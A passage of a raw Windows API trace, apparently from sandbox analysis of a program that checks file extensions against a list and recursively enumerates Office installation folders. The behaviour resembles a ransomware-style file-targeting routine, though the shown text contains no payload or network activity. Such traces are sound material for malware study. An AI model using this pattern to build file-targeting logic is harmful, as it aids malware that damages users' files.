returned 4 [0264.720] lstrcmpiW (lpString1=".htc", lpString2=".jpg") returned -1 [0264.720] lstrlenW (lpString=".htm") returned 4 [0264.720] lstrcmpiW (lpString1=".htm", lpString2=".jpg") returned -1 [0264.720] lstrlenW (lpString=".html") returned 5 [0264.720] lstrcmpiW (lpString1=".html", lpString2="w.jpg") returned -1 [0264.720] lstrlenW (lpString=".icb") returned 4 [0264.720] lstrcmpiW (lpString1=".icb", lpString2=".jpg") returned -1 [0264.720] lstrlenW (lpString=".ics") returned 4 [0264.720] lstrcmpiW (lpString1=".ics", lpString2=".jpg") returned -1 [0264.720] lstrlenW (lpString=".iff") returned 4 [0264.720] lstrcmpiW (lpString1=".iff", lpString2=".jpg") returned -1 [0264.720] lstrlenW (lpString=".inc") returned 4 [0264.720] lstrcmpiW (lpString1=".inc", lpString2=".jpg") returned -1 [0264.720] lstrlenW (lpString=".indd") returned 5 [0264.720] lstrcmpiW (lpString1=".indd", lpString2="w.jpg") returned -1 [0264.720] lstrlenW (lpString=".ini") returned 4 [0264.720] lstrcmpiW (lpString1=".ini", lpString2=".jpg") returned -1 [0264.720] lstrlenW (lpString=".iqy") returned 4 [0264.720] lstrcmpiW (lpString1=".iqy", lpString2=".jpg") returned -1 [0264.720] lstrlenW (lpString=".j2c") returned 4 [0264.808] RtlpDeCommitFreeBlock () [0264.809] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana.css", cAlternateFileName="AMERIC~1.CSS")) returned 1 [0264.809] lstrlenW (lpString="Americana.css") returned 13 [0264.809] lstrlenW (lpString=".1cd") returned 4 [0264.809] RtlpDeCommitFreeBlock () [0264.809] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x100d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue.css", cAlternateFileName="")) returned 1 [0264.810] RtlpDeCommitFreeBlock () [0264.810] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1103, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay.css", cAlternateFileName="")) returned 1 [0264.810] RtlpDeCommitFreeBlock () [0264.810] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange.css", cAlternateFileName="BRIGHT~1.CSS")) returned 1 [0264.811] RtlpDeCommitFreeBlock () [0264.811] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1074, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow.css", cAlternateFileName="BRIGHT~2.CSS")) returned 1 [0264.812] RtlpDeCommitFreeBlock () [0264.812] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd35, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.css", cAlternateFileName="")) returned 1 [0264.813] RtlpDeCommitFreeBlock () [0264.813] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xeb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck.css", cAlternateFileName="GRAYCH~1.CSS")) returned 1 [0264.813] RtlpDeCommitFreeBlock () [0264.813] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1091, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime.css", cAlternateFileName="")) returned 1 [0264.813] RtlpDeCommitFreeBlock () [0264.813] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis.css", cAlternateFileName="")) returned 1 [0264.814] RtlpDeCommitFreeBlock () [0264.814] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate.css", cAlternateFileName="")) returned 1 [0264.814] RtlpDeCommitFreeBlock () [0264.814] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x11ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.css", cAlternateFileName="")) returned 1 [0264.814] RtlpDeCommitFreeBlock () [0264.814] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen.css", cAlternateFileName="SPRING~1.CSS")) returned 1 [0264.815] RtlpDeCommitFreeBlock () [0264.815] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts2.css", cAlternateFileName="")) returned 1 [0264.815] RtlpDeCommitFreeBlock () [0264.815] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl.css", cAlternateFileName="")) returned 1 [0264.815] RtlpDeCommitFreeBlock () [0264.816] FindNextFileW (in: hFindFile=0x4604278, lpFindFileData=0x35eeb9c | out: lpFindFileData=0x35eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="FORMSV~1.HTM")) returned 1 [0264.818] RtlpDeCommitFreeBlock () [0264.818] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70685f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms5", cAlternateFileName="GROOVE~2")) returned 1 [0264.820] RtlpDeCommitFreeBlock () [0264.821] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveProjectToolset", cAlternateFileName="GRA998~1")) returned 1 [0264.822] RtlpDeCommitFreeBlock () [0264.822] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x35ee6a4 | out: lpFindFileData=0x35ee6a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fancy", cAlternateFileName="")) returned 1 [0264.823] RtlpDeCommitFreeBlock () [0264.823] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x35ee6a4 | out: lpFindFileData=0x35ee6a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fancy", cAlternateFileName="")) returned 0 [0264.824] FindClose (in: hFindFile=0x46041f8 | out: hFindFile=0x46041f8) returned 1 [0264.824] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x46741c0 | out: hHeap=0x540000) returned 1 [0264.824] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project Report Type", cAlternateFileName="PROJEC~1")) returned 0 [0264.824] FindClose (in: hFindFile=0x46041b8 | out: hFindFile=0x46041b8) returned 1 [0264.824] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x46641b8 | out: hHeap=0x540000) returned 1 [0264.824] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35eeb9c | out: lpFindFileData=0x35eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectToolsetIconImages.jpg", cAlternateFileName="PROJEC~3.JPG")) returned 1 [0264.824] RtlpDeCommitFreeBlock () [0264.825] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome Tool", cAlternateFileName="WELCOM~1")) returned 1 [0264.825] RtlpDeCommitFreeBlock () [0264.825] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome Tool", cAlternateFileName="WELCOM~1")) returned 0 [0264.825] FindClose (in: hFindFile=0x63eec8 | out: hFindFile=0x63eec8) returned 1 [0264.825] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45dc188 | out: hHeap=0x540000) returned 1 [0264.825] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0 [0264.825] FindClose (in: hFindFile=0x63f108 | out: hFindFile=0x63f108) returned 1 [0264.826] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45cc180 | out: hHeap=0x540000) returned 1 [0264.826] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1 [0264.828] RtlpDeCommitFreeBlock () [0264.828] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML Files", cAlternateFileName="XMLFIL~1")) returned 1 [0264.828] RtlpDeCommitFreeBlock () [0264.828] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a42b900, ftCreationTime.dwHighDateTime=0x1c9d747, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a42b900, ftLastWriteTime.dwHighDateTime=0x1c9d747, nFileSizeHigh=0x0, nFileSizeLow=0x17e2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterApplicationDescriptors.xml", cAlternateFileName="STARTE~1.XML")) returned 1 [0264.828] RtlpDeCommitFreeBlock () [0264.829] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML Files", cAlternateFileName="XMLFIL~1")) returned 0 [0264.829] FindClose (in: hFindFile=0x63f048 | out: hFindFile=0x63f048) returned 1 [0264.829] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4578138 | out: hHeap=0x540000) returned 1 [0264.829] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x3112b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1 [0264.928] RtlpDeCommitFreeBlock () [0264.928] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xb770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0264.928] RtlpDeCommitFreeBlock () [0264.928] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMV12", cAlternateFileName="INFOPA~1")) returned 1 [0264.928] RtlpDeCommitFreeBlock () [0264.928] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xe770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0264.929] RtlpDeCommitFreeBlock () [0264.929] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x61d191f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x7bb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1 [0264.938] RtlpDeCommitFreeBlock () [0264.938] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x62688, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1 [0264.939] RtlpDeCommitFreeBlock () [0264.939] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 0 [0264.939] FindClose (in: hFindFile=0x63f048 | out: hFindFile=0x63f048) returned 1 [0264.939] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4578138 | out: hHeap=0x540000) returned 1 [0264.939] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5dfae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xfafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGELEMS.DLL", cAlternateFileName="")) returned 1 [0264.947] RtlpDeCommitFreeBlock () [0264.947] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4f5000, ftCreationTime.dwHighDateTime=0x1cac037, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4f5000, ftLastWriteTime.dwHighDateTime=0x1cac037, nFileSizeHigh=0x0, nFileSizeLow=0x1c798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData.dll", cAlternateFileName="MI5659~1.DLL")) returned 1 [0264.955] RtlpDeCommitFreeBlock () [0264.955] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5ccd00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6bf1cb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c5ccd00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0x208560, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1 [0264.960] RtlpDeCommitFreeBlock () [0264.960] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x59a53950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x5f190, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1 [0264.966] RtlpDeCommitFreeBlock () [0264.966] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd651f080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x755a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDSBASE.DLL", cAlternateFileName="")) returned 1 [0264.971] RtlpDeCommitFreeBlock () [0264.971] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: 